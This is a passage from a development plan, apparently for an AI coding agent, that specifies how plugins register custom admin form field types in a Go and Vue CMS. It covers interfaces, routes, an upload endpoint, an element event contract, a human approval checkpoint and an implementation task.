- "D-18 (framework half): POST {api}/{vendor}/{plugin}/{controller}/{id}/fields/{field}/upload is owned by cabana (backend guard, X-Requested-With, controller permissions, field context, FormExtendQuery record scope, http.body_limits.upload_bytes) and answers 201 {data:{url}} from the type's Upload; the SPA performs the upload for the element on summer-upload and answers with summer-upload-result."
|
||||
- "D-15: the form schema carries plugin fields generically (element, translatable, typeOptions); admin/openapi/admin.json and admin/src/api/schema.d.ts are regenerated, modules/boardwalk/dist is rebuilt, and the pact and cabana READMEs plus docs/backend/field-types.md describe the API with neutral names."
|
||||
artifacts:
|
||||
- path: "modules/pact/capabilities.go"
|
||||
provides: "FormFieldType, FormFieldValue, FormFieldDecoded, FormFieldNotice, FormFieldUpload, FormFieldUploadResult, FormFieldError, HasFormFieldTypes"
|
||||
contains: "HasFormFieldTypes"
|
||||
- path: "modules/cabana/relation_field.go"
|
||||
provides: "RecordMeta.Notices and FieldNotice (the save response's meta.notices)"
|
||||
contains: "notices,omitempty"
|
||||
- path: "modules/cabana/field_type.go"
|
||||
provides: "per-boot field type registry, compile checks, decode/skip/load/list runner"
|
||||
contains: "compileFieldTypes"
|
||||
- path: "modules/cabana/field_type_upload.go"
|
||||
provides: "the cabana-owned field upload route"
|
||||
contains: "fieldUpload"
|
||||
- path: "modules/cabana/tx_context.go"
|
||||
provides: "FieldWrite, FieldWritesFromContext, WithFieldWrites"
|
||||
contains: "FieldWritesFromContext"
|
||||
- path: "admin/src/components/form/fields/PluginField.vue"
|
||||
provides: "generic plugin element host"
|
||||
contains: "summer-change"
|
||||
- path: "admin/src/app/fieldTypes.ts"
|
||||
provides: "global field-type asset loader"
|
||||
contains: "loadFieldTypes"
|
||||
- path: "docs/backend/field-types.md"
|
||||
provides: "plugin field type guide and element contract"
|
||||
contains: "HasFormFieldTypes"
|
||||
key_links:
|
||||
- from: "modules/cabana/http.go Activate"
|
||||
to: "modules/cabana/registry.go compileRegistry"
|
||||
via: "the registry built by compileFieldTypes(plugins) passed as a parameter (no package-level registry)"
|
||||
pattern: "compileFieldTypes"
|
||||
- from: "modules/cabana/crud.go save"
|
||||
to: "pact.FormFieldType Decode and Load"
|
||||
via: "decodePluginFields between loadRecord and lagoon.Fill inside the save transaction"
|
||||
pattern: "decodePluginFields"
|
||||
- from: "modules/cabana/crud.go save"
|
||||
to: "RecordResult.Meta.Notices (JSON meta.notices)"
|
||||
via: "localizeNotices over the FormFieldDecoded notices, after the transaction commits"
|
||||
pattern: "localizeNotices"
|
||||
- from: "admin/src/views/FormView.vue save"
|
||||
to: "FormField notice line and the saved toast"
|
||||
via: "noticeLines(result.data.meta.notices) passed through FormGrid like errors"
|
||||
pattern: "noticeLines"
|
||||
- from: "admin/src/main.ts and admin/src/views/LoginView.vue"
|
||||
to: "GET {api}/field-types"
|
||||
via: "loadFieldTypes next to loadNavigation"
|
||||
pattern: "loadFieldTypes"
|
||||
- from: "admin/src/components/form/fields/PluginField.vue"
|
||||
to: "POST {api}/{vendor}/{plugin}/{controller}/{id}/fields/{field}/upload"
|
||||
via: "summer-upload event handled by the SPA with the admin session"
|
||||
pattern: "summer-upload"
|
||||
prohibitions:
|
||||
- statement: "No package-level mutable field type registry in cabana: the registry is built per Activate and passed down."
|
||||
status: unresolved
|
||||
verification: judgment
|
||||
- statement: "The element never receives a token, a cookie, a function or a Vue instance; uploads go through the SPA and the cabana route only."
|
||||
status: unresolved
|
||||
verification: judgment
|
||||
- statement: "Existing core field types, the type: widget contract and the public behaviour of CompileForm do not change."
|
||||
status: unresolved
|
||||
verification: judgment
|
||||
- statement: "Framework READMEs and docs never name a consuming application or plugin; examples use blog or acme."
|
||||
status: unresolved
|
||||
verification: judgment
|
||||
---
|
||||
|
||||
## Phase Goal
|
||||
|
||||
ROADMAP Goal (not in user-story format): plugins can register their own admin form field types, and the Journal plugin ships a first-class Blog Editor formwidget for post content that edits imported HTML posts losslessly.
|
||||
|
||||
This plan's slice (user decision 1, plan 01): the framework half in summercms.go. A plugin registers a value-bearing field type through `pact`; cabana compiles, decodes, loads, lists, uploads and stores it (ML included); the admin SPA hosts its element globally. Framework first: plans 02 and 03 build the Journal editor on this API.
|
||||
|
||||
## Revision 2026-10-10 (CONTEXT D-10 amended)
|
||||
|
||||
D-10 now strips instead of refusing, and an admin save must tell the admin what was removed. That report is a generic field-type capability, not Journal code in cabana: `Decode` returns `pact.FormFieldDecoded{Value, Notices}`, cabana localizes the notices and answers the save with `meta.notices`, and the SPA shows them and reloads the stored value. `pact.FormFieldError` (422) stays for values a type cannot accept at all, such as a non-string. The release tag named in Task 1 is now v0.1.18 or the next free v0.1.x, because 16.1 already tagged v0.1.17. Everything else in this plan is unchanged.
|
||||
|
||||
RESEARCH and PATTERNS were written before 16.1 replaced the Journal regex gate with bluemonday and before D-10 was amended. Where they say "CheckHTML refuses" or "no sanitizer", this plan's text wins.
|
||||
|
||||
## Spec-less probe fallback
|
||||
|
||||
Visible skip: "spec-less probe fallback skipped: phase has no requirement IDs to probe". No SPEC and no edge-probe predicates were generated this run. CONTEXT D-01 to D-19, the three folded todos and RESEARCH Patterns 1-9 are the source of truth. Prohibitions above were recalled in-prompt and are descriptor-less (flagged-unverified).
|
||||
|
||||
## Assumptions (explicit)
|
||||
|
||||
- A5 (RESEARCH): settings forms and relation child or pivot forms refuse plugin field types at boot ("supported in controller forms only"), the same restriction cabana already documents for virtual fields and FormRules. D-13 targets controller forms.
|
||||
- Untouched detection (Claude's discretion, D-03): both layers. cabana skips a submitted value whose canonical JSON equals the served value; the element (plan 02) never re-serializes an untouched document.
|
||||
- Field-type asset discovery (Claude's discretion, research Open Question 2): a dedicated `GET {api}/field-types` route, so the navigation contract stays unchanged.
|
||||
- A translatable plugin type exchanges strings per locale (the TranslationWriter API is string-based and MLField sends only strings); a non-translatable type exchanges any JSON value.
|
||||
|
||||
## Plan sizing note
|
||||
|
||||
The locked plan count (6) puts the whole framework half in this plan. It has four tasks: one decision checkpoint (no implementation context) and three implementation tasks. The estimate exceeds the usual budget; it is advisory.
|
||||
|
||||
## Source coverage audit (phase-wide)
|
||||
|
||||
| Source | ID | Item | Plan | Status |
|
||||
|---|---|---|---|---|
|
||||
| GOAL | — | Plugins register field types; Journal Blog Editor edits imported HTML losslessly | 01-06 | COVERED |
|
||||
| REQ | — | none mapped (ROADMAP "Requirements: TBD") | — | n/a |
|
||||
| CONTEXT | D-01 | WYSIWYG + source toggle on TipTap | 02 | COVERED |
|
||||
| CONTEXT | D-02 | HTML in content and content_html on admin save, both sanitized | 03 | COVERED |
|
||||
| CONTEXT | D-03 | Byte-preserving unless edited | 01 (server skip), 02 (element), 03, 05 (UAT), 06 | COVERED |
|
||||
| CONTEXT | D-04 | Text, images, tables, embeds, raw HTML block (raw block goes through the sanitizer) | 02, 03 | COVERED |
|
||||
| CONTEXT | D-05 | Embed placeholder; both policies extended only for the editor's own output, pinned by a corpus test; iframes still refused | 02 (corpus), 03 (Go policy), 04 (layer mirror), 06 | COVERED |
|
||||
| CONTEXT | D-06 | Translatable like mlmarkdown | 01, 03 | COVERED |
|
||||
| CONTEXT | D-07 | Markdown post opens with content_html | 03 | COVERED |
|
||||
| CONTEXT | D-08 | mlblogeditor replaces mlmarkdown for post content | 03 | COVERED |
|
||||
| CONTEXT | D-09 | Public write API unchanged | 03 | COVERED |
|
||||
| CONTEXT | D-10 | Strip, never refuse, on every locale for posts and categories; the save names what was removed; no goldmark on the admin path | 01 (notices), 03 (Journal strip), 05 (UAT), 06 | COVERED |
|
||||
| CONTEXT | D-11 | Short global alias, collision fails boot | 01 | COVERED |
|
||||
| CONTEXT | D-12 | pact interface: options, decode, load, list | 01 | COVERED |
|
||||
| CONTEXT | D-13 | Element loads globally, value contract, --c-* only | 01, 02 | COVERED |
|
||||
| CONTEXT | D-14 | Plugin registers ML variant through cabana lift/hydrate | 01, 03 | COVERED |
|
||||
| CONTEXT | D-15 | Generic schema shape, OpenAPI, TS, dist, README, docs | 01 | COVERED |
|
||||
| CONTEXT | D-16 | TipTap in a custom element, plugin JS build, committed dist | 02 | COVERED |
|
||||
| CONTEXT | D-17 | Layer expands embeds, new tag pinned in the app | 04, 05 | COVERED |
|
||||
| CONTEXT | D-18 | Image upload with alt and caption | 01 (route), 02 (UI), 03 (storage) | COVERED |
|
||||
| CONTEXT | D-19 | Category content uses blogeditor and is stripped like posts (the 422 gate is retired) | 03, 06 | COVERED |
|
||||
| TODO | — | cabana-plugin-registered-field-types | 01 | COVERED |
|
||||
| TODO | — | cabana-richeditor-field-type | 03 | COVERED |
|
||||
| TODO | — | journal-imported-html-admin-resave (and its test) | 03, 05, 06 | COVERED |
|
||||
| RESEARCH | P1 | Registry threaded through compile, no package global | 01 | COVERED |
|
||||
| RESEARCH | P2 | Decode/Load inside the tx, FieldError mapping, written-values accessor | 01 | COVERED |
|
||||
| RESEARCH | P3 | Two-layer untouched detection | 01, 02 | COVERED |
|
||||
| RESEARCH | P4 | Preservation-first schema and serializer | 02 | COVERED |
|
||||
| RESEARCH | P5 | Element contract, global CSS owner (Pitfall 8) | 01, 02 | COVERED |
|
||||
| RESEARCH | P6 | Journal integration, category not translatable | 03 | COVERED |
|
||||
| RESEARCH | P7 | Embed expansion after the sanitizer (last step at the v-html sink) | 04 | COVERED |
|
||||
| RESEARCH | P8 | Plugin JS build, no eval, injectCSS false, check-dist | 02 | COVERED |
|
||||
| RESEARCH | P9 | Collision-free upload route, OpenAPI + phase09Routes | 01 | COVERED |
|
||||
| RESEARCH | Pitfall 7 | Non-default content_html companion write | 01 (accessor), 03 | COVERED |
|
||||
| RESEARCH | Pitfall 11 | No Docker: DryRun/unit smoke + human Docker-host gate | 05, 06 | COVERED |
|
||||
| RESEARCH | Security | Magic-byte image check on the editor upload | 03 | COVERED |
|
||||
| RESEARCH | OQ3 | Release scope (tags, bumps, UAT) | 04, 05 | COVERED |
|
||||
| DRIFT | 16.1 | bluemonday policy (`SanitizeHTML`, `FormatTranslation`, the `CheckHTML` predicate (reports any change)), layer sanitize-html mirror, v0.1.17 and layer v0.1.1 already tagged, post 64 re-saved without its style block | 01-06 (revision 2026-10-10) | COVERED |
|
||||
|
||||
## Artifacts this phase produces (this plan)
|
||||
|
||||
- `pact.FormFieldType`, `pact.FormFieldValue`, `pact.FormFieldDecoded`, `pact.FormFieldNotice`, `pact.FormFieldUpload`, `pact.FormFieldUploadResult`, `pact.FormFieldError` (with `Error() string`), `pact.HasFormFieldTypes`.
|
||||
- `cabana.FieldWrite`, `cabana.FieldWritesFromContext`, `cabana.WithFieldWrites`, `cabana.CompileFormWithTypes`, `cabana.FieldTypeAssets`, `cabana.FieldTypesResponse`, `cabana.FieldUploadResponse`, `cabana.FieldNotice`, and the `RecordMeta.Notices` field (JSON `meta.notices`, omitted when empty).
|
||||
- `cabana.FormField` JSON keys `element`, `translatable`, `typeOptions` (Go fields `Element`, `Translatable`, `TypeOptions`).
|
||||
- Unexported: `fieldTypeRegistry`, `compileFieldTypes`, `readClientAssets`, `liftPluginValues`, `decodePluginFields`, `hydratePluginFields`, `servedFieldValue`, `isMLField`, `fieldUpload`, `fieldTypesList`, `withFieldWrites`, `localizeNotices`.
|
||||
- Routes: `GET {api}/field-types`, `POST {api}/{vendor}/{plugin}/{controller}/{id}/fields/{field}/upload`.
|
||||
- New files: `modules/cabana/field_type.go`, `modules/cabana/field_type_upload.go`, `modules/cabana/field_type_smoke_test.go`, `admin/src/app/fieldTypes.ts`, `admin/src/components/form/fields/PluginField.vue`, `admin/src/components/form/fields/MLPluginField.vue`, `admin/tests/form/PluginField.test.ts`, `docs/backend/field-types.md`.
|
||||
- SPA exports: `loadFieldTypes`, `loadGlobalStyles`, `GLOBAL_STYLE_OWNER`, `rendererForField`, `isRegisteredField`, `isMLField`, `noticeLines`, `FIELD_CHANGE_EVENT`, `FIELD_UPLOAD_EVENT`, `FIELD_UPLOAD_RESULT_EVENT`; FormField and FormGrid gain a `notices` prop.
|
||||
- Smoke tests: `TestFieldTypeTracerSmoke`, `TestFieldTypeExpansionSmoke`.
|
||||
|
||||
<objective>
|
||||
Add the plugin field type API to pact and cabana and host plugin field elements in the admin SPA (D-11 to D-15, D-03 server half, D-06/D-14 storage path, D-10 notices and refusal mapping, D-18 upload route).
|
||||
|
||||
Purpose: Journal (plans 02 and 03) and later plugins ship their own value-bearing field types without a framework release per type, and a type that changes a value on save (Journal strips unsafe HTML per D-10) can tell the admin what it changed.
|
||||
Output: the pact types, the cabana registry, compile, save (with notices), show, list and upload paths, the two routes, regenerated OpenAPI and TS types, PluginField/MLPluginField, the global loader and the notice display, rebuilt dist, READMEs and docs.
|
||||
</objective>
|
||||
|
||||
<execution_context>
|
||||
@~/.claude/msd-core/workflows/execute-plan.md
|
||||
@~/.claude/msd-core/templates/summary.md
|
||||
</execution_context>
|
||||
|
||||
<context>
|
||||
@.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-CONTEXT.md
|
||||
@.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-RESEARCH.md
|
||||
@.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-PATTERNS.md
|
||||
@.planning/todos/pending/cabana-plugin-registered-field-types.md
|
||||
|
||||
Concurrency (16.1 D-02): another session may edit `modules/`. Before each commit run `git status --porcelain -- modules admin docs scripts` and `git diff` on the files you touch; stage only files this task changed, by explicit path. Commits: no co-author tags; code and planning docs in separate commits.
|
||||
|
||||
No Docker here (RESEARCH Pitfall 11): `go test ./modules/cabana` without `-run` fails on the testcontainers suites. Use the named `-run` sets below; full Postgres-backed coverage is plan 06 on a Docker host.
|
||||
|
||||
<interfaces>
|
||||
Proposed pact surface (Task 1 confirms it; names are Claude's discretion within D-12):
|
||||
|
||||
```go
|
||||
// in modules/pact/capabilities.go (pact already imports context and gorm; add io)
|
||||
type FormFieldType struct {
|
||||
Name string // global alias used as `type:` in fields.yaml, ^[a-z][a-z0-9]*$
|
||||
Element string // custom-element tag defined by Scripts, plugin prefix rule
|
||||
Translatable bool // value is a locale -> string map stored through cabana's translation writer
|
||||
Scripts []string // AdminFS paths under assets/ (.js, .mjs), loaded on every admin page
|
||||
Styles []string // AdminFS paths under assets/ (.css), enabled on every admin page
|
||||
Options []string // the type's own fields.yaml keys
|
||||
CheckOptions func(options map[string]any) error `json:"-"` // optional
|
||||
Decode func(ctx context.Context, in FormFieldValue) (FormFieldDecoded, error) `json:"-"` // required
|
||||
Load func(ctx context.Context, in FormFieldValue) (any, error) `json:"-"` // optional
|
||||
ListValue func(value any) string `json:"-"` // optional
|
||||
Upload func(ctx context.Context, in FormFieldUpload) (FormFieldUploadResult, error) `json:"-"` // optional
|
||||
}
|
||||
type FormFieldValue struct {
|
||||
DB *gorm.DB // the save transaction (Decode) or the read transaction (Load)
|
||||
Record any // the loaded record on update, the new model on create
|
||||
Field string
|
||||
Options map[string]any // the field's typeOptions
|
||||
Locale string // "" for a non-translatable type
|
||||
Default bool // true when Locale is the host-column locale (or the type is not translatable)
|
||||
Value any // submitted (Decode) or stored (Load); a string for a translatable type
|
||||
Translated func(attribute string) (string, bool, error) // exact read of another attribute of Record in Locale; nil when not translatable or no writer
|
||||
}
|
||||
// FormFieldDecoded is Decode's answer: Value is stored (a string for a
|
||||
// translatable type); Notices are non-blocking messages about it, such as what
|
||||
// a sanitizer removed. No notices means the save answers exactly as before.
|
||||
type FormFieldDecoded struct {
|
||||
Value any
|
||||
Notices []FormFieldNotice
|
||||
}
|
||||
// FormFieldNotice is one message for the admin. cabana localizes Message
|
||||
// (phrase key or text) in the request locale with Params; Count > 0 selects
|
||||
// the plural form (phrasebook Choice, :count set).
|
||||
type FormFieldNotice struct {
|
||||
Message string
|
||||
Params map[string]string
|
||||
Count int
|
||||
}
|
||||
type FormFieldUpload struct {
|
||||
DB *gorm.DB
|
||||
Record any // nil on the create form ({id} 0)
|
||||
Field string
|
||||
Options map[string]any
|
||||
Filename string
|
||||
Body io.Reader // already capped by http.body_limits.upload_bytes
|
||||
}
|
||||
type FormFieldUploadResult struct{ URL string }
|
||||
type FormFieldError struct{ Messages []string } // phrase keys or text; Error() joins them
|
||||
type HasFormFieldTypes interface{ FormFieldTypes() []FormFieldType } // implemented by the plugin
|
||||
```
|
||||
|
||||
Proposed cabana surface:
|
||||
|
||||
```go
|
||||
type FieldWrite struct {
|
||||
Locale string // "" for a non-translatable type
|
||||
Default bool // the value went to the host column
|
||||
Value any
|
||||
}
|
||||
func FieldWritesFromContext(ctx context.Context) (map[string][]FieldWrite, bool) // copy; false outside create/update
|
||||
func WithFieldWrites(ctx context.Context, writes map[string][]FieldWrite) context.Context // for Form hook tests
|
||||
func CompileFormWithTypes(pluginID string, ctl pact.AdminController, fsys fs.FS, types []pact.FormFieldType) (*FormSchema, error)
|
||||
// FormField gains: Element string `json:"element,omitempty"`, Translatable bool `json:"translatable,omitempty"`,
|
||||
// TypeOptions map[string]any `json:"typeOptions,omitempty"`, fieldType *compiledFieldType `json:"-"`
|
||||
type FieldNotice struct {
|
||||
Field string `json:"field"`
|
||||
Locale string `json:"locale,omitempty"` // set for a translatable type's value
|
||||
Message string `json:"message"` // already localized
|
||||
}
|
||||
// RecordMeta (relation_field.go) gains: Notices []FieldNotice `json:"notices,omitempty"`
|
||||
```
|
||||
|
||||
Save responses: `POST /{vendor}/{plugin}/{controller}` and `PUT .../{id}` keep `{"data":...,"meta":{"labels":...}}`; when a Decode returned notices, `meta` also carries `"notices":[{"field":"content","locale":"pl","message":"2 elements were removed: style, iframe"}]`. Without notices the JSON is byte-for-byte today's.
|
||||
|
||||
Routes (relative to `<prefix>/api/v1`):
|
||||
- `GET /field-types` → `{"data":[{"name","element","translatable","scripts":["<prefix>/assets/vendor/plugin/...js?v=<12 hex>"],"styles":[...]}]}`, sorted by name.
|
||||
- `POST /{vendor}/{plugin}/{controller}/{id}/fields/{field}/upload` (multipart, one `file` part; `{id}` 0 = create form) → 201 `{"data":{"url":"..."}}`; 422 `validation_failed` on the field for a FormFieldError; 404 for an unknown field, a field without a plugin type or without Upload, or a record outside the FormExtendQuery scope; 413 over the cap.
|
||||
|
||||
Element contract (D-13; extends the Phase 10.1 widget contract, documented in docs/backend/field-types.md). Fixed for this phase: D-13 leaves the contract to the planner and this block finalizes it. Plan 02 implements these exact names in parallel (wave 1), so Task 1 does not reopen them; Task 1 may rename only pact and cabana Go identifiers and the GET /field-types answer, which plan 02 never references.
|
||||
- The SPA creates the element imperatively and sets the `value` property (string for a translatable type, any JSON otherwise) and the attributes `field-name`, `record-id` ('' on create), `locale` (content locale for a translatable type, '' otherwise), `ui-locale` (admin UI language), `options` (JSON of typeOptions), `disabled` (present when read-only), `invalid` (present when the field has an error).
|
||||
- The element dispatches bubbling CustomEvents: `summer-change` with `detail.value` only on user edits; `summer-upload` with `detail {id, file}`. The SPA answers an upload with `summer-upload-result` `detail {id, url}` or `{id, error}` dispatched on the element.
|
||||
- Setting `value` to the value the element last emitted must not reset the element; the SPA sets `value` only when the form value differs from the element's current `value`.
|
||||
- The element never receives a token, a cookie, a function or a Vue instance, and styles only through the public `--c-*` CSS variables, with selectors scoped under its tag.
|
||||
|
||||
Existing code the executor builds on (read, do not re-derive):
|
||||
- `modules/cabana/form_schema.go`: `formFieldTypes` (lines 24-30), `formFieldKeys` (37-47), `decodeFields(raw []byte)` (399), `fieldMap.UnmarshalYAML` (411), `compileFieldNode(name, node)` (455; key check at 466 runs before type resolution at 474).
|
||||
- `modules/cabana/registry.go`: `compileRegistry(items []controllerRef)` (57), callers of `compileList` and `compileFormIfPresent`.
|
||||
- `modules/cabana/http.go`: `Activate` (74-184), `mount` (220-361; fileupload routes 335-347, `requireAjax`, `constrainFile`), `protect` (1030), `projectRow` (1067).
|
||||
- `modules/cabana/crud.go`: `save` (567-715: ML lift 600, loadRecord 616, projectOperation/Fill 622, applyMLTranslations 688, hydrateMLRecord 709), `ShowRecord` (418, hydrate at 444), `lifecycleFailure` (815), `scalarFormField` (1224) used at 204 and 1073.
|
||||
- `modules/cabana/field_ml.go`: `mlFieldType`, `liftMLValues`, `applyMLTranslations`, `hydrateMLRecord`, `TranslationWriter`.
|
||||
- `modules/cabana/extension.go`: `widgetTagPrefix`, `checkWidgetTag`, `compileClientAssets` (253-300, the `read` closure to extract), `checkAssetPath`, `bootErr`, `pluginAsset`.
|
||||
- `modules/cabana/tx_context.go`: `withVirtualFields`/`VirtualFieldsFromContext` (36-60), the pattern for the writes accessor.
|
||||
- `modules/cabana/relation_field.go`: `RecordMeta` (91), `RecordEnvelope`, `RecordResult`; `modules/cabana/crud.go`: `localizeForbidden` (the pattern for `localizeNotices`: request locale via `schemaLocale`, `translateKey`), `CRUDService.tr`; `modules/phrasebook/translator.go`: `Get(ctx, key, params)` and `Choice(ctx, key, count, params)`.
|
||||
- `admin/src/views/FormView.vue`: `adopt` (173, reloads the saved record into the form), `save` (315), the saved toast (337); `admin/src/components/form/FormGrid.vue` (47, `:errors` per field) and `FormField.vue` (the `errors` prop and error line): the path notices follow.
|
||||
- `admin/src/components/form/fields/WidgetField.vue`: element creation, `defined()` with `WIDGET_TIMEOUT`, `api.POST` with `params.path` from the control props, ExtensionFailure.
|
||||
- `admin/src/app/pluginAssets.ts`: `assetAllowed`, `loadScript`, `loadStyles`, `activateStyles` (disables links whose owner is not active: Pitfall 8).
|
||||
</interfaces>
|
||||
</context>
|
||||
|
||||
<tasks>
|
||||
|
||||
<task type="checkpoint:decision" gate="blocking-human">
|
||||
<name>Task 1: Confirm the published pact field-type API before it is written (D-12)</name>
|
||||
<read_first>modules/pact/capabilities.go (AdminAction, AdminActionInput, HasAdminActions, AdminClientAssets: the style to copy), .planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-CONTEXT.md (D-11 to D-15, Claude's Discretion), .planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-RESEARCH.md (Patterns 1, 2, 5, 9; Code Example 1), this plan's interfaces block</read_first>
|
||||
<action>Do the automatable part, then stop. Run the verify command (baseline: the contract and schema tests this plan must keep green pass before any change) and confirm `git status --porcelain -- modules admin docs scripts` prints nothing; if it prints anything, report the in-flight files (concurrent session, 16.1 D-02) and stop without editing.
|
||||
|
||||
Then print the proposal sheet: the pact types and func signatures exactly as in the interfaces block, including Decode's FormFieldDecoded answer and FormFieldNotice (the D-10 amendment: a type reports what it changed instead of refusing); which funcs are optional (CheckOptions, Load, ListValue, Upload) and which is required (Decode); the cabana additions (FieldWrite, FieldWritesFromContext, WithFieldWrites, CompileFormWithTypes, FieldNotice, RecordMeta.Notices as meta.notices omitted when empty, the FormField keys element, translatable and typeOptions); the two routes and their answers; the element contract (value property, attributes, summer-change, summer-upload, summer-upload-result), labelled "fixed: shared with plan 02, not open at this checkpoint"; the alias rule (^[a-z][a-z0-9]*$, no core type, no duplicate) and the option-key rule (^[A-Za-z][A-Za-z0-9]*$, no core field key); and the assumptions section of this plan (A5 refusal in settings and relation forms, field-types route, string values for translatable types). Stop for the human.</action>
|
||||
<decision>Adopt this pact and cabana field-type API as proposed, or adjust named Go identifiers before they are written?</decision>
|
||||
<context>D-12 rates the pact interface one-way: once summercms is tagged (plan 05: v0.1.18, or the next free v0.1.x; v0.1.17 is already the 16.1 security release) other repositories compile against these names, and the todo cabana-plugin-registered-field-types expects payment and other plugins to build on it. Before the tag, a rename costs one search-and-replace in this phase; after it, every consuming plugin changes. Journal's Go integration (plan 03) is the first consumer and is written against these exact names. Scope of this checkpoint: pact and cabana Go identifiers and the GET /field-types answer only. The element contract (tag prefix rule, value property, the attributes, summer-change, summer-upload, summer-upload-result) is fixed by this plan per D-13 and is being implemented by plan 02 in parallel, so it is not adjustable here; a human who wants it changed replies "stop" here and at plan 02's package checkpoint, and plans 01 and 02 are re-planned together.</context>
|
||||
<options>
|
||||
<option id="approve">
|
||||
<name>Approve as proposed</name>
|
||||
<pros>Matches the research recommendation (struct of funcs, like pact.AdminAction); plans 02 and 03 are written against these names</pros>
|
||||
<cons>Field names become a published contract at the plan 05 tag</cons>
|
||||
</option>
|
||||
<option id="adjust">
|
||||
<name>Approve with named changes</name>
|
||||
<pros>The human renames or reshapes pact and cabana Go identifiers before code exists</pros>
|
||||
<cons>The executor must apply the same renames to plans 03, 05 and 06 text it reads later (record them in the SUMMARY); plan 02 references no Go identifier, so it is unaffected</cons>
|
||||
</option>
|
||||
</options>
|
||||
<resume-signal>Reply "approve", "adjust:" followed by the Go identifier changes, or "stop" to change the element contract (re-plans 01 and 02 together).</resume-signal>
|
||||
<verify>
|
||||
<automated>go vet ./modules/pact ./modules/cabana && go test -count=1 -run '^(TestPhase09ContractInventory|TestPhase09PermissionMatrix|TestFormSchemaCompile|TestFormSchemaRejects)$' -v ./modules/cabana 2>&1 | grep -c '^--- PASS: Test' | grep -qx 4</automated>
|
||||
<fails_when>Non-zero exit: vet reports a problem, or fewer than four "--- PASS: Test" lines (a baseline contract or schema test already fails before this plan changes anything).</fails_when>
|
||||
</verify>
|
||||
<acceptance_criteria>
|
||||
- The baseline verify passed and `git status --porcelain -- modules admin docs scripts` printed nothing.
|
||||
- The SUMMARY records the human's reply verbatim and, for "adjust", the final identifier list that Tasks 2 to 4 use; the element contract names in that list are exactly the ones in the interfaces block.
|
||||
</acceptance_criteria>
|
||||
<done>A human approved the API or named Go identifier changes, with the element contract unchanged; nothing has been edited yet.</done>
|
||||
</task>
|
||||
|
||||
<task type="tracer">
|
||||
<name>Task 2: Tracer: one non-translatable plugin field type end to end (pact, boot, schema, save Decode, Show Load, field-types route, SPA PluginField)</name>
|
||||
<reversibility rating="one-way">Published pact API: after the plan 05 tag, other plugins' go.mod require these names; renaming means editing every consumer (D-12).</reversibility>
|
||||
<precondition>Task 1 was answered "approve" or "adjust" and the SUMMARY lists the identifiers to use.</precondition>
|
||||
<files>modules/pact/capabilities.go, modules/pact/README.md, modules/cabana/field_type.go, modules/cabana/form_schema.go, modules/cabana/schema_types.go, modules/cabana/registry.go, modules/cabana/http.go, modules/cabana/crud.go, modules/cabana/relation_field.go, modules/cabana/extension.go, modules/cabana/settings.go, modules/cabana/relation_form.go, modules/cabana/admin_openapi.go, modules/cabana/security_coverage_test.go, modules/cabana/field_type_smoke_test.go, modules/cabana/README.md, admin/openapi/admin.json, admin/src/api/schema.d.ts, admin/src/api/types.ts, admin/src/app/fieldTypes.ts, admin/src/app/pluginAssets.ts, admin/src/main.ts, admin/src/views/LoginView.vue, admin/src/components/form/registry.ts, admin/src/components/form/FieldRenderer.vue, admin/src/components/form/PreviewField.vue, admin/src/components/form/FormField.vue, admin/src/components/form/formState.ts, admin/src/components/form/formContext.ts, admin/src/components/form/fields/PluginField.vue, admin/tests/form/PluginField.test.ts, modules/boardwalk/dist, docs/backend/field-types.md, docs/backend/forms.md</files>
|
||||
<read_first>modules/pact/capabilities.go, modules/pact/README.md, modules/cabana/form_schema.go, modules/cabana/schema_types.go (FormField, ListColumn), modules/cabana/registry.go, modules/cabana/http.go (Activate, mount, protect, navigation handler), modules/cabana/crud.go (save, ShowRecord, lifecycleFailure, localizeForbidden, scalarFormField and its callers), modules/cabana/relation_field.go (RecordMeta, RecordResult), modules/phrasebook/translator.go (Get, Choice), modules/phrasebook/backend/lang/pl/lang.yaml (lines 40-44: plural map format), modules/cabana/extension.go, modules/cabana/settings.go (decodeFields caller at 74), modules/cabana/relation_form.go (decodeFields callers at 145 and 246), modules/cabana/admin_openapi.go (the /navigation and FormField annotations), modules/cabana/security_coverage_test.go (phase09Routes), modules/cabana/query_relation_test.go (openDryRunDB, newDryRunListService: test style), modules/cabana/README.md (Admin API routes table, API reference), scripts/check-admin-openapi.sh, scripts/check-admin-dist.sh, admin/src/app/pluginAssets.ts, admin/src/main.ts, admin/src/views/LoginView.vue, admin/src/state/useNavigation.ts, admin/src/components/form/registry.ts, admin/src/components/form/control.ts, admin/src/components/form/FieldRenderer.vue, admin/src/components/form/formState.ts, admin/src/components/form/formContext.ts, admin/src/components/form/fields/WidgetField.vue, admin/tests/form/WidgetField.test.ts, docs/backend/partials-and-widgets.md (Form widgets, Widget element contract), docs/backend/forms.md, docs/site.yaml</read_first>
|
||||
<action>Build the thinnest complete path for a plain plugin type (per D-11, D-12, D-13, D-15), using the identifiers recorded by Task 1.
|
||||
|
||||
pact (D-12, D-10): add FormFieldType, FormFieldValue, FormFieldDecoded, FormFieldNotice, FormFieldUpload, FormFieldUploadResult, FormFieldError (Error joins Messages with "; ") and HasFormFieldTypes to modules/pact/capabilities.go with doc comments in the AdminAction style: cabana owns routes, CSRF, authentication, permissions, record scope, locale storage, notice localization and the untouched-value skip; Decode returns FormFieldDecoded (the value to store plus optional notices; a notice reports a change the type made to an accepted value, a FormFieldError refuses a value the type cannot accept), Load returns what the element receives, ListValue returns list text, Upload stores a file and returns its URL. The HasFormFieldTypes doc comment says it is implemented by the plugin (not a controller), like HasAdminControllers.
|
||||
|
||||
